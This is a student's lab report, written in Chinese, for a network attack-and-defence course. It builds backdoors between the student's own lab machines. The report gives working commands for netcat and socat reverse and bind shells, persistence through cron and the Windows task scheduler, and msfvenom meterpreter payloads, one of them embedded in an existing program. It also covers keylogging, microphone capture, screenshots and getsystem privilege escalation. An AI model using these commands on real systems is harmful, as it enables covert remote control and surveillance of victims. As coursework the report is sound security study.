2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp2 后门原理与实践
一、实验任务
1.使用netcat获取主机操作Shell,cron启动;
2.使用socat获取主机操作Shell, 任务计划启动;
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell;
6.基础问题回答。
二、实验步骤
【常用后门工具】
Windows获得Linux Shell
1.在Windows的cmd中输入ipconfig,得到本机的IP地址为192.168.3.14
;
2.在附件中现在ncat并解压,然后在cmd中进入ncat所在文件夹,输入ncat.exe -l -p 5202
打开监听;
3.在Kali中输入命令nc 192.168.3.14 5202 -e /bin/sh
来反弹链接Windows;
4.我们在Windows中成功获得了Linux Shell,如下图;
Linux获得Windows Shell
1.在Kali中root模式下,使用ifconfig
来查看IP地址,为:192.168.40.129
;
2.在Kali中使用nc -l -p 5202
来监听5202
端口;
3.在Windows中反向连接Kali主机的5202
端口,我们在Linux中成功获得了Windows Shell,如下图;
使用nc来传输数据
1.在Winodws下监听5202端口,在Kali下连接到Windows的5202端口;
2.连接成功,可以使用nc来传输数据了,效果如下图;
socat
1.socat,是linux下的一个工具,可以看做netcat的加强版。的确如此,它有一些netcat所不具备却又很有需求的功能,例如ssl连接这种。nc可能是因为比较久没有维护,而socat可以。
2.socat可以当作cat使用,也可以当作netcat来使用。
3.socat也是实现SSL连接,fork服务器和不同设备的通信。
Meterpreter
1.Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能。
2.基本指令:help
查看Meterpreter帮助,background
返回,bgkill
杀死一个背景,bglist
提供所有正在运行的后台脚本的列表,bgrun
作为一个后台线程运行脚本,channel
显示活动频道,sessions -i number
与会话进行交互,sesssions -k number
与会话进行交互,close
关闭通道,exit
终止 meterpreter 会话,interact id
切换进一个信道。
【任务一:使用netcat获取主机操作Shell,cron启动】
1.在Windows中,使用ncat.exe -l -p 5202
来监听5202端口;
2.在Kali中,使用crontab -e
指令来编辑定时任务;
3.我们在输出最后添加30 * * * * /bin/netcat 192.168.3.14 5202 -e /bin/sh
;这样每个小时的第30分钟会反向连接Windows主机的5202端口;
4.我们时间到达10:30,此时Windows中可以输入指令了,如下;
【任务二:使用socat获取主机操作Shell, 任务计划启动】
1.首先下载socat
并解压;
2.右击此电脑
选择管理
,选择任务计划程序
,再选择创建任务
;
3.选择操作
,然后选择新建操作
在程序或脚本
中添加socat.exe的文件路径,添加参数tcp-listen:5202 exec:cmd.exe,pty,stderr
,把cmd.exe绑定到端口5202端口上 ,同时把cmd.exe
的stderr
重定向到stdout
上;
4.选择触发器
,然后新建,选择按预定计划
,将开始时间适当延后1~2分钟即可,如下图;
5.随后我们设置一个名称,当创建完成后,我们选择任务计划程序库
就可以看到准备就绪的触发器;
6.等到我们设置的开始时间10:49
时,socat
自动开始运行;
7.我们在Kali环境下输入指令socat - tcp:192.168.3.14:5202
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的5205端口,此时可以发现已经成功获得了一个cmd shell,如下图;
【任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell】
1.在Kali环境中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -f exe > 20175202_backdoor.exe
,生成了后门程序20175202_backdoor.exe
;
2.我们输入ncat.exe -lv 5202 > 20175202_backdoor.exe
指令将被控制主机进入接受文件模式
3.我们在Kali中输入nc 192.168.3.14 5202 < 20175202_backdoor.exe
指令;
4.我们在Windows打开ncat所在文件夹,发现文件传输成功,如下;
5.我们在Kali中使用msfconsole
指令进入msf控制台
;
6.我们使用use exploit/multi/handler
进入监听模块,设置set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload set LHOST 192.168.40.129
,set LPORT 5202
,同样要使用相同的端口,show options
,查看详细信息;
7.我们输入exploit
开始监听,然后我们在Windows中运行后门程序20175202_backdoor.exe
,之后再Kali中输入dir
可以查看在Windows中20175202_backdoor.exe
所在目录下的文件信息;
【任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权】
1.在Kali环境中输入record_mic -d 5
指令可以截获时长为5s的一段音频,如下;
2.使用keyscan_start
指令记录下击键的过程,之后在Windows中进行任意输入,然后使用keyscan_dump
指令来读取击键记录;
3.使用screenshot
指令进行截屏,截屏成功,如下;
4.使用getuid
指令来查看当前用户,查看成功,如下;
5.使用getsystem
指令尝试提权,成功,如下;
【加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell】
1.实验指导书中的指令,如下;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
2.我们进入到实验一的文件夹/175202/exp1
中;
3.LHOST
表示Kali的IP地址,因此,模仿指导书中的指令,我们的指令修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=443 -f exe > KiTTy_backdoor.exe
4.LPORT
表示Kali中的端口,因此,我们进一步将指令修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f exe > KiTTy_backdoor.exe
5.因为我们运行的文件为pwn1
,文件的类型为elf
,因此我们将代码修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f elf > KiTTy_backdoor.exe
6.我们将生成的文件命名为pwn6
,因此我们将代码修改为;
msfvenom -p windows/meterpreter/reverse_tcp -x ./pwn1 -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.40.129 LPORT=5202 -f elf > pwn6
7.我们将-i 5 -b ‘x00’
部分删掉,否则出现了报错,调整输入,因此我们将代码修改为;
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -x pwn1 -f elf > pwn6
8.在一个终端中输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=5202 -x pwn1 -f elf > pwn6
指令,之后再另一个终端中输入exploit
进行监听,输入ls
显示内容,如下;
三、实验过程中遇到的问题
1.问题:输入命令后,出现错误提示,如下;
解决:后来发现是因为没有进入/1752021exp1
文件夹中,不存在pwn1
文件,进入后,重新输入命令,成功,如下;
2.问题:在Kali中,输入ncat xxx
指令,提示未找到指令,如下;
解决:将ncat xxx
修改为,加入指令,解决了问题,如下;
四、问题的回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
回答:下载的软件中捆绑了后门程序。
2.例举你知道的后门如何启动起来(win及linux)的方式
回答:在Windows
中:和Windows
的一些开机自启动项进行捆绑,开机时可以自启动,也可以通过修改Windows
的注册表项。在Linux中:通过crontab 设置定时启动,捆绑注入shellcode
。
3.Meterpreter有哪些给你映像深刻的功能?
回答:植入后门后,他可以可以直接记录我的击键,甚至录音、录像、截屏,我觉得最恐怖的是录音和截屏功能,这甚至可以轻松获取用户口令,让人的隐私暴漏无疑。
4.如何发现自己有系统有没有被安装后门?
回答:首先,可以通过杀毒软件进行扫描,定期检测系统。其次,可以查看开机自启动项,检查自启动项中是否有异常。也可以在cmd中用netstat -na查看端口开放情况。
五、实验心得与体会
后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。之前就一直对后门有所耳闻,但从没见识过他的强大功能。在做这次实验时,我使用了最简单的后门,通过仅有的一些很简单的命令,就实现了非常强大恐怖的功能,甚至可以窃取摄像头、录音权限,这又强大的危害性。我就在两天前,安装专业版PDF时,就出现了问题,再次启动时,弹出了小鸟壁纸、今日热点等很多很多的自启动程序。做完这次实验后,我感到更加可怕,以后会更加注意网络安全。